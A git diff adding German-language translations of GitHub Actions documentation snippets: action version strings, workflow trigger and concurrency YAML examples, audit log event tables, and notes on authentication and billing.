+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147878995"
+---
+github/codeql-action/analyze@{% ifversion actions-node16-action %}v2{% else %}v1{% endif %}
diff --git a/translations/de-DE/data/reusables/actions/action-codeql-action-autobuild.md b/translations/de-DE/data/reusables/actions/action-codeql-action-autobuild.md
new file mode 100644
index 0000000000..3d0d0b02da
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/action-codeql-action-autobuild.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 58dec355288ad0130dcde36d6d3f01d60a4f5b11
+ms.sourcegitcommit: 96bbb6b8f3c9172209d80cb1502017ace3019807
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147879155"
+---
+github/codeql-action/autobuild@{% ifversion actions-node16-action %}v2{% else %}v1{% endif %}
diff --git a/translations/de-DE/data/reusables/actions/action-codeql-action-init.md b/translations/de-DE/data/reusables/actions/action-codeql-action-init.md
new file mode 100644
index 0000000000..dbee15f7d5
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/action-codeql-action-init.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 8b4cf1fd4d207e69fa6c04ffbee0c35e20294acf
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147067146"
+---
+github/codeql-action/init@{% ifversion actions-node16-action %}v2{% else %}v1{% endif %}
diff --git a/translations/de-DE/data/reusables/actions/action-codeql-action-upload-sarif.md b/translations/de-DE/data/reusables/actions/action-codeql-action-upload-sarif.md
new file mode 100644
index 0000000000..08ec639c89
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/action-codeql-action-upload-sarif.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: bb256eb338ed337e830067f403e419f5f751373a
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147067130"
+---
+github/codeql-action/upload-sarif@{% ifversion actions-node16-action %}v2{% else %}v1{% endif %}
diff --git a/translations/de-DE/data/reusables/actions/action-delete-package-versions.md b/translations/de-DE/data/reusables/actions/action-delete-package-versions.md
new file mode 100644
index 0000000000..2ec76756a6
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/action-delete-package-versions.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 7c2e0690c2e3dcb2de3ccdf3ae533c1fb18d6543
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147067434"
+---
+actions/delete-package-versions@{% ifversion actions-node16-action %}v3{% else %}v2{% endif %}
diff --git a/translations/de-DE/data/reusables/actions/action-download-artifact.md b/translations/de-DE/data/reusables/actions/action-download-artifact.md
new file mode 100644
index 0000000000..ecacfd7575
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/action-download-artifact.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 44f6dd7880c01bbf6815ab833d357aabb3ff830d
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147067106"
+---
+actions/download-artifact@{% ifversion actions-node16-action %}v3{% else %}v2{% endif %}
diff --git a/translations/de-DE/data/reusables/actions/action-github-script.md b/translations/de-DE/data/reusables/actions/action-github-script.md
new file mode 100644
index 0000000000..46239a5ed6
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/action-github-script.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 87caeb481dc57678cd68e7973edcce298adb5564
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147067874"
+---
+actions/github-script@{% ifversion actions-node16-action %}v6{% else %}v5{% endif %}
diff --git a/translations/de-DE/data/reusables/actions/action-labeler.md b/translations/de-DE/data/reusables/actions/action-labeler.md
new file mode 100644
index 0000000000..f189b8a395
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/action-labeler.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 716c0f66e4edac1a75a067a84f36717440280756
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147062754"
+---
+actions/labeler@{% ifversion actions-node16-action %}v4{% else %}v3{% endif %}
diff --git a/translations/de-DE/data/reusables/actions/action-setup-dotnet.md b/translations/de-DE/data/reusables/actions/action-setup-dotnet.md
new file mode 100644
index 0000000000..6fe2ae5036
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/action-setup-dotnet.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: ed2b75623f58b2871f19777386ab13d6aba92ac2
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147065093"
+---
+actions/setup-dotnet@{% ifversion actions-node16-action %}v2{% else %}v1{% endif %}
diff --git a/translations/de-DE/data/reusables/actions/action-setup-go.md b/translations/de-DE/data/reusables/actions/action-setup-go.md
new file mode 100644
index 0000000000..a8538673af
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/action-setup-go.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 87924fa067ad37309d36df6c726c3534429d11f9
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147065094"
+---
+actions/setup-go@{% ifversion actions-node16-action %}v3{% else %}v2{% endif %}
diff --git a/translations/de-DE/data/reusables/actions/action-setup-java.md b/translations/de-DE/data/reusables/actions/action-setup-java.md
new file mode 100644
index 0000000000..925d3a5043
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/action-setup-java.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: f65fe187c4dc821ef838ca9c95e8b83401039dc0
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147062738"
+---
+actions/setup-java@{% ifversion actions-node16-action %}v3{% else %}v2{% endif %}
diff --git a/translations/de-DE/data/reusables/actions/action-setup-node.md b/translations/de-DE/data/reusables/actions/action-setup-node.md
new file mode 100644
index 0000000000..db594f9b8c
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/action-setup-node.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 87c39323784e5c6c29ba662d617b634360bcd7a1
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147060322"
+---
+actions/setup-node@{% ifversion actions-node16-action %}v3{% else %}v2{% endif %}
diff --git a/translations/de-DE/data/reusables/actions/action-setup-python.md b/translations/de-DE/data/reusables/actions/action-setup-python.md
new file mode 100644
index 0000000000..58c01aa69e
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/action-setup-python.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 1082161b940302f1bc7359ab617326a7a2b2ece4
+ms.sourcegitcommit: 76b840f45ba85fb79a7f0c1eb43bc663b3eadf2b
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/12/2022
+ms.locfileid: "146688949"
+---
+actions/setup-python@{% ifversion actions-node16-action %}v4{% else %}v2{% endif %}
diff --git a/translations/de-DE/data/reusables/actions/action-stale.md b/translations/de-DE/data/reusables/actions/action-stale.md
new file mode 100644
index 0000000000..2ccdf16f9c
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/action-stale.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: b25606bc4b93bf1d1c5f5de4a4d5777e3c61517b
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147066805"
+---
+actions/stale@{% ifversion actions-node16-action %}v5{% else %}v4{% endif %}
diff --git a/translations/de-DE/data/reusables/actions/action-upload-artifact.md b/translations/de-DE/data/reusables/actions/action-upload-artifact.md
new file mode 100644
index 0000000000..8984c7a03b
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/action-upload-artifact.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 0dcaf8a392cb5ab0b7cba7e9b7c8077af040e66b
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147064578"
+---
+actions/upload-artifact@{% ifversion actions-node16-action %}v3{% else %}v2{% endif %}
diff --git a/translations/de-DE/data/reusables/actions/actions-activity-types.md b/translations/de-DE/data/reusables/actions/actions-activity-types.md
new file mode 100644
index 0000000000..6da38036fd
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/actions-activity-types.md
@@ -0,0 +1,30 @@
+---
+ms.openlocfilehash: 03c7480afe114a1f9fa676f6872be9081289295a
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "146688933"
+---
+Einige Ereignisse verfügen über Aktivitätstypen, die dir mehr Kontrolle darüber geben, wann dein Workflow ausgeführt werden soll. Verwende `on.<event_name>.types`, um die Art der Ereignisaktivität zu definieren, durch die eine Workflowausführung ausgelöst werden soll.
+
+Das Ereignis `issue_comment` verfügt beispielsweise über die Aktivitätstypen `created`, `edited` und `deleted`. Wenn dein Workflow durch ein Ereignis vom Typ `label` ausgelöst wird, wird es ausgeführt, wenn eine Bezeichnung erstellt, bearbeitet oder gelöscht wird. Wenn du den Aktivitätstyp `created` für das Ereignis `label` angibst, wird der Workflow ausgeführt, wenn eine Bezeichnung erstellt wird, aber nicht, wenn eine Bezeichnung bearbeitet oder gelöscht wird.
+
+```yaml
+on:
+  label:
+    types:
+      - created
+```
+
+Bei Angabe mehrerer Aktivitätstypen wird dein Workflow ausgelöst, wenn einer dieser Ereignisaktivitätstypen auftritt. Treten gleichzeitig mehrere auslösende Ereignisaktivitätstypen für deinen Workflow auf, werden mehrere Workflowausführungen ausgelöst. Der folgende Workflow wird beispielsweise ausgelöst, wenn ein Issue erstellt oder beschriftet wird. Wenn ein Issue mit zwei Bezeichnungen erstellt wird, werden drei Workflowausführungen gestartet: eine für das Issue-Erstellungsereignis und zwei für die beiden Issue-Beschriftungsereignisse.
+
+```yaml
+on:
+  issues:
+    types:
+      - opened
+      - labeled
+```
+
+Weitere Informationen zu jedem Ereignis und den zugehörigen Aktivitätstypen findest du unter [Ereignisse zum Auslösen von Workflows](/actions/using-workflows/events-that-trigger-workflows).
diff --git a/translations/de-DE/data/reusables/actions/actions-app-actions-permissions-api.md b/translations/de-DE/data/reusables/actions/actions-app-actions-permissions-api.md
new file mode 100644
index 0000000000..ccc4306d27
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/actions-app-actions-permissions-api.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 4572a1029c4ebbf3cf7507da62cf7da579407e0d
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145105120"
+---
+{% data variables.product.prodname_github_apps %} müssen über die Berechtigung `actions` verfügen, um diese API zu verwenden.
diff --git a/translations/de-DE/data/reusables/actions/actions-audit-events-for-enterprise.md b/translations/de-DE/data/reusables/actions/actions-audit-events-for-enterprise.md
new file mode 100644
index 0000000000..afaf6c1c24
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/actions-audit-events-for-enterprise.md
@@ -0,0 +1,21 @@
+---
+ms.openlocfilehash: ed7e94a18edf6d5c55ba6fb12c5f09236a9f2fe5
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145103992"
+---
+| Aktion | BESCHREIBUNG
+|------------------|-------------------
+| `remove_self_hosted_runner` | Wird ausgelöst, wenn ein selbstgehosteter Runner entfernt wird.
+| `register_self_hosted_runner` | Wird ausgelöst, wenn ein neuer selbstgehosteter Runner registriert wird. Weitere Informationen findest du unter [Hinzufügen von selbstgehosteten Runnern](/actions/hosting-your-own-runners/adding-self-hosted-runners).
+| `runner_group_created` | Wird ausgelöst, wenn eine selbstgehostete Runnergruppe erstellt wird. Weitere Informationen findest du unter [Informationen zu selbstgehosteten Runnergruppen](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#about-self-hosted-runner-groups).
+| `runner_group_removed` | Wird ausgelöst, wenn eine selbstgehostete Runnergruppe entfernt wird. Weitere Informationen findest du unter [Removing a self-hosted runner group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#removing-a-self-hosted-runner-group) („Entfernen einer selbstgehosteten Runnergruppe“).
+| `runner_group_runner_removed` | Wird ausgelöst, wenn die REST-API verwendet wird, um einen selbstgehosteten Runner aus einer Gruppe zu entfernen.
+| `runner_group_runners_added` | Wird ausgelöst, wenn ein selbstgehosteter Runner zu einer Gruppe hinzugefügt wird. Weitere Informationen findest du unter [Verschieben eines selbstgehosteten Runners in eine Gruppe](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#moving-a-self-hosted-runner-to-a-group).
+| `runner_group_runners_updated` | Wird ausgelöst, wenn die Mitgliederliste einer Runnergruppe aktualisiert wird. Weitere Informationen findest du unter [Set self-hosted runners in a group for an organization](/rest/reference/actions#set-self-hosted-runners-in-a-group-for-an-organization) („Festlegen von selbstgehosteten Runnern in einer Gruppe für eine Organisation“).
+| `runner_group_updated` | Wird ausgelöst, wenn die Konfiguration einer selbstgehosteten Runnergruppe geändert wird. Weitere Informationen findest du unter [Ändern der Zugriffsrichtlinie einer selbstgehosteten Runnergruppe](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#changing-the-access-policy-of-a-self-hosted-runner-group).
+| `self_hosted_runner_updated` | Wird ausgelöst, wenn die Runneranwendung aktualisiert wird. Kann über die REST-API und die Benutzeroberfläche angezeigt werden. Im JSON-/CSV-Export ist dieses Ereignis nicht sichtbar. Weitere Informationen findest du unter [Informationen zu selbstgehosteten Runnern](/actions/hosting-your-own-runners/about-self-hosted-runners#about-self-hosted-runners).{% ifversion fpt or ghec %}
+| `self_hosted_runner_online` | Wird ausgelöst, wenn die Runneranwendung gestartet wird. Kann nur über die REST-API angezeigt werden. Über die Benutzeroberfläche oder im JSON/CSV-Export ist dieses Ereignis nicht sichtbar. Weitere Informationen findest du unter [Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner) („Überprüfen des Status eines selbstgehosteten Runners“).
+| `self_hosted_runner_offline` | Wird ausgelöst, wenn die Runneranwendung angehalten wird. Kann nur über die REST-API angezeigt werden. Über die Benutzeroberfläche oder im JSON/CSV-Export ist dieses Ereignis nicht sichtbar. Weitere Informationen findest du unter [Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner) („Überprüfen des Status eines selbstgehosteten Runners“).{% endif %}
diff --git a/translations/de-DE/data/reusables/actions/actions-audit-events-workflow.md b/translations/de-DE/data/reusables/actions/actions-audit-events-workflow.md
new file mode 100644
index 0000000000..137b509e89
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/actions-audit-events-workflow.md
@@ -0,0 +1,20 @@
+---
+ms.openlocfilehash: 4f04b4395ec12d834bc4d8f350b302c09badea6d
+ms.sourcegitcommit: 094dff459fcbf7d0634930e02405606dfffd7f0a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/12/2022
+ms.locfileid: "148163179"
+---
+| Aktion | BESCHREIBUNG
+|------------------|-------------------
+| `cancel_workflow_run` | Wird ausgelöst, wenn eine Workflowausführung abgebrochen wurde. Weitere Informationen findest du unter „[Abbrechen eines Workflows](/actions/managing-workflow-runs/canceling-a-workflow)“.
+| `completed_workflow_run` | Wird ausgelöst, wenn sich ein Workflowstatus in `completed` ändert. Kann nur über die REST-API angezeigt werden. Über die Benutzeroberfläche oder im JSON-/CSV-Export ist dieses Ereignis nicht sichtbar. Weitere Informationen findest du unter [Aufrufen des Workflowausführungsverlaufs](/actions/managing-workflow-runs/viewing-workflow-run-history).
+| `created_workflow_run` | Wird ausgelöst, wenn eine Workflowausführung erstellt wird. Kann nur über die REST-API angezeigt werden. Über die Benutzeroberfläche oder im JSON-/CSV-Export ist dieses Ereignis nicht sichtbar. Weitere Informationen findest du unter „[Erstellen eines Beispielworkflows](/actions/learn-github-actions/introduction-to-github-actions#create-an-example-workflow)“.
+| `delete_workflow_run` | Wird ausgelöst, wenn eine Workflowausführung gelöscht wird. Weitere Informationen findest du unter [Löschen einer Workflowausführung](/actions/managing-workflow-runs/deleting-a-workflow-run).
+| `disable_workflow` | Wird ausgelöst, wenn ein Workflow deaktiviert wird.
+| `enable_workflow` | Wird ausgelöst, wenn ein Workflow aktiviert wird, nachdem er zuvor mit `disable_workflow` deaktiviert wurde.
+| `rerun_workflow_run` | Wird ausgelöst, wenn eine Workflowausführung wiederholt wird. Weitere Informationen findest du unter „[Erneutes Ausführen eines Workflows](/actions/managing-workflow-runs/re-running-a-workflow)“.
+| `prepared_workflow_job` | Wird ausgelöst, wenn ein Workflowauftrag gestartet wird. Enthält die Liste der Geheimnisse, die dem Auftrag zur Verfügung gestellt wurden. Die Anzeige ist nur mithilfe der REST-API möglich. Sie wird nicht auf der Weboberfläche von {% data variables.product.prodname_dotcom %} angezeigt und ist nicht im JSON/CSV-Export enthalten. Weitere Informationen findest du unter [Ereignisse, die Workflows auslösen](/actions/reference/events-that-trigger-workflows).
+| `approve_workflow_job` | Wird ausgelöst, wenn ein Workflowauftrag genehmigt wurde. Weitere Informationen findest du unter [Überprüfen von Bereitstellungen](/actions/managing-workflow-runs/reviewing-deployments).
+| `reject_workflow_job` | Wird ausgelöst, wenn ein Workflowauftrag abgelehnt wurde. Weitere Informationen findest du unter [Überprüfen von Bereitstellungen](/actions/managing-workflow-runs/reviewing-deployments).
diff --git a/translations/de-DE/data/reusables/actions/actions-authentication.md b/translations/de-DE/data/reusables/actions/actions-authentication.md
new file mode 100644
index 0000000000..a4075d95eb
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/actions-authentication.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: e25ddf153153e38b0a37cd6a69d15215318efbe5
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145103987"
+---
+Diese API ist für authentifizierte Benutzer, {% data variables.product.prodname_oauth_apps %} und {% data variables.product.prodname_github_apps %} verfügbar. Zugriffstoken erfordern einen [`repo`-Bereich](/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes) für private Repositorys und einen [`public_repo`-Bereich](/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes) für {% ifversion ghae %}interne{% else %}öffentliche{% endif %} Repositorys.
diff --git a/translations/de-DE/data/reusables/actions/actions-billing.md b/translations/de-DE/data/reusables/actions/actions-billing.md
new file mode 100644
index 0000000000..c6c3e7d91e
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/actions-billing.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 92c255b05a1727a4b257add600455543571f49df
+ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: "147763716"
+---
+Die Nutzung von {% data variables.product.prodname_actions %} ist für {% data variables.product.prodname_dotcom %}-gehostete Standardrunner in öffentlichen Repositorys und für selbstgehostete Runner kostenlos. Für private Repositorys erhält jedes {% data variables.product.prodname_dotcom %}-Konto eine bestimmte Menge an Freiminuten und kostenlosem Speicherplatz für die Nutzung mit {% data variables.product.prodname_dotcom %}-gehosteten Runnern – je nachdem, welches Produkt mit dem Konto verwendet wird. Jede Nutzung, die über die enthaltenen Kontingente hinausgeht, wird durch Ausgabenlimits gesteuert.
diff --git a/translations/de-DE/data/reusables/actions/actions-bundled-with-ghes.md b/translations/de-DE/data/reusables/actions/actions-bundled-with-ghes.md
new file mode 100644
index 0000000000..9bf923008e
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/actions-bundled-with-ghes.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: c142f1899b4c1695ce3b7c98e641b1fbc94f6e75
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145105112"
+---
+Die meisten offiziellen, über {% data variables.product.prodname_dotcom %} autorisierten Aktionen werden automatisch mit {% data variables.product.product_name %} gebündelt und zu einem bestimmten Zeitpunkt über {% data variables.product.prodname_marketplace %} erfasst.
diff --git a/translations/de-DE/data/reusables/actions/actions-do-not-trigger-workflows.md b/translations/de-DE/data/reusables/actions/actions-do-not-trigger-workflows.md
new file mode 100644
index 0000000000..6d51647659
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/actions-do-not-trigger-workflows.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: d503b739b31064e743351c490bfbdc2dda14028f
+ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: "147865929"
+---
+Wenn Sie das `GITHUB_TOKEN` des Repositorys zum Ausführen von Tasks verwenden, erstellen Ereignisse, die von `GITHUB_TOKEN`{% ifversion actions-token-updated-triggers %} ausgelöst werden, mit Ausnahme von `workflow_dispatch` und `repository_dispatch`{% endif %} keine neue Workflowausführung. Dadurch wird verhindert, dass du versehentlich rekursive Workflow-Ausführung erstellst. Wenn beispielsweise eine Workflowausführung Code über das `GITHUB_TOKEN` des Repositorys pusht, wird ein neuer Workflow auch dann nicht ausgeführt, wenn das Repository einen Workflow enthält, der für die Ausführung beim Auftreten von `push`-Ereignissen konfiguriert wurde.
diff --git a/translations/de-DE/data/reusables/actions/actions-filters.md b/translations/de-DE/data/reusables/actions/actions-filters.md
new file mode 100644
index 0000000000..7f69e95c02
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/actions-filters.md
@@ -0,0 +1,19 @@
+---
+ms.openlocfilehash: c9db6ca4a418e5107cb3714b70c8112457b1868c
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145103983"
+---
+Einige Ereignisse verfügen über Filter, die Ihnen mehr Kontrolle darüber geben, wann Ihr Workflow ausgeführt werden soll.
+
+Das `push`-Ereignis verfügt beispielsweise über einen `branches`-Filter. Dieser führt dazu, dass der Workflow nicht bei jedem beliebigen Push, sondern nur bei einem Push an einen Branch ausgeführt wird, der mit dem `branches`-Filter übereinstimmt.
+
+```yaml
+on:
+  push:
+    branches:
+      - main
+      - 'releases/**'
+```
diff --git a/translations/de-DE/data/reusables/actions/actions-group-concurrency.md b/translations/de-DE/data/reusables/actions/actions-group-concurrency.md
new file mode 100644
index 0000000000..1577326905
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/actions-group-concurrency.md
@@ -0,0 +1,61 @@
+---
+ms.openlocfilehash: a0c8b24bacdd41e32d9b8bdd0d8850e7a6ada557
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145103971"
+---
+Wenn ein gleichzeitiger Auftrag oder ein Workflow in die Warteschlange gestellt wird, wenn ein anderer Auftrag oder Workflow, der dieselbe Übereinstimmungsgruppe im Repository verwendet, in Bearbeitung ist, wird `pending` der Warteschlangeauftrag oder der Workflow ausgeführt. Alle zuvor anhängigen Aufträge oder Workflows in der Parallelitätsgruppe werden abgebrochen. Du kannst auch mit `cancel-in-progress: true` alle derzeit ausgeführten Aufträge oder Workflows in derselben Parallelitätsgruppe abbrechen.
+
+### Beispiele: Verwenden der Parallelität und des Standardverhaltens
+
+{% raw %}
+```yaml
+concurrency: staging_environment
+```
+{% endraw %}
+
+{% raw %}
+```yaml
+concurrency: ci-${{ github.ref }}
+```
+{% endraw %}
+
+### Beispiel: Verwenden von Parallelität zum Abbrechen eines In-Progress-Auftrags oder Ausführens
+
+{% raw %}
+```yaml
+concurrency: 
+  group: ${{ github.ref }}
+  cancel-in-progress: true
+```
+{% endraw %}
+
+### Beispiel: Verwenden eines Fallbackwerts
+
+Wenn du den Gruppennamen mit einer Eigenschaft erstellst, die nur für bestimmte Ereignisse definiert ist, kannst du einen Fallbackwert verwenden. So wird beispielsweise `github.head_ref` nur für `pull_request` Ereignisse definiert. Wenn dein Workflow zusätzlich `pull_request` zu Ereignissen auf andere Ereignisse reagiert, musst du einen Fallback bereitstellen, um einen Syntaxfehler zu vermeiden. Die folgende Parallelitätsgruppe bricht laufende Aufträge oder Ausführungen nur bei `pull_request` Ereignissen ab. Wenn `github.head_ref` nicht definiert ist, greift die Parallelitätsgruppe auf die Ausführungs-ID zurück, die garantiert eindeutig und für die Ausführung definiert ist.
+
+{% raw %}
+```yaml
+concurrency: 
+  group: ${{ github.head_ref || github.run_id }}
+  cancel-in-progress: true
+```
+{% endraw %}
+
+
+### Beispiel: Nur laufende Aufträge oder Ausführungen für den aktuellen Workflow abbrechen
+
+ Wenn du mehrere Workflows im selben Repository hast, müssen die Namen der Parallelitätsgruppen für alle Workflows eindeutig sein, um zu vermeiden, dass laufende Aufträge oder Ausführungen von anderen Workflows abgebrochen werden. Andernfalls werden alle zuvor ausgeführten oder ausstehenden Aufgaben abgebrochen, unabhängig vom Workflow.
+
+Um nur die Ausführung desselben Workflows abzubrechen, kannst du die `github.workflow` Eigenschaft verwenden, um die Parallelitätsgruppe zu erstellen:
+
+{% raw %}
+```yaml
+concurrency: 
+  group: ${{ github.workflow }}-${{ github.ref }}
+  cancel-in-progress: true
+```
+{% endraw %}
+
diff --git a/translations/de-DE/data/reusables/actions/actions-multiple-types.md b/translations/de-DE/data/reusables/actions/actions-multiple-types.md
new file mode 100644
index 0000000000..95b32ae40b
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/actions-multiple-types.md
@@ -0,0 +1,26 @@
+---
+ms.openlocfilehash: 4c39c079fb88a8a1b86ed9359ebe55be268389bb
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145103968"
+---
+Wenn du Aktivitätstypen oder Filter für ein Ereignis und deine Workflowauslöser für mehrere Ereignisse angibst, musst du jedes Ereignis separat konfigurieren. Du musst einen Doppelpunkt (`:`) an alle Ereignisse anhängen, einschließlich Ereignisse ohne Konfiguration.
+
+Beispielsweise wird ein Workflow mit dem folgenden `on`-Wert ausgeführt, wenn:
+
+- Eine Bezeichnung erstellt wird
+- Ein Push an die `main`-Verzweigung im Repository vorgenommen wird
+- Ein Push an eine {% data variables.product.prodname_pages %}-aktivierte Verzweigung vorgenommen wird
+
+```yaml
+on:
+  label:
+    types:
+      - created
+  push:
+    branches:
+      - main
+  page_build:
+```
diff --git a/translations/de-DE/data/reusables/actions/actions-not-certified-by-github-comment.md b/translations/de-DE/data/reusables/actions/actions-not-certified-by-github-comment.md
new file mode 100644
index 0000000000..ad70b7e046
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/actions-not-certified-by-github-comment.md
@@ -0,0 +1,12 @@
+---
+ms.openlocfilehash: 52a25d888e4e83bf5d93151ef04b51908732e8e1
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145103960"
+---
+# Dieser Workflow verwendet Aktionen, die nicht von GitHub zertifiziert sind.
+# Sie werden von einem Drittanbieter bereitgestellt und unterliegen
+# separaten Nutzungsbedingungen, Datenschutzbestimmungen und Support
+# Onlinedokumentation.
diff --git a/translations/de-DE/data/reusables/actions/actions-not-verified.md b/translations/de-DE/data/reusables/actions/actions-not-verified.md
new file mode 100644
index 0000000000..6077927d8b
--- /dev/null
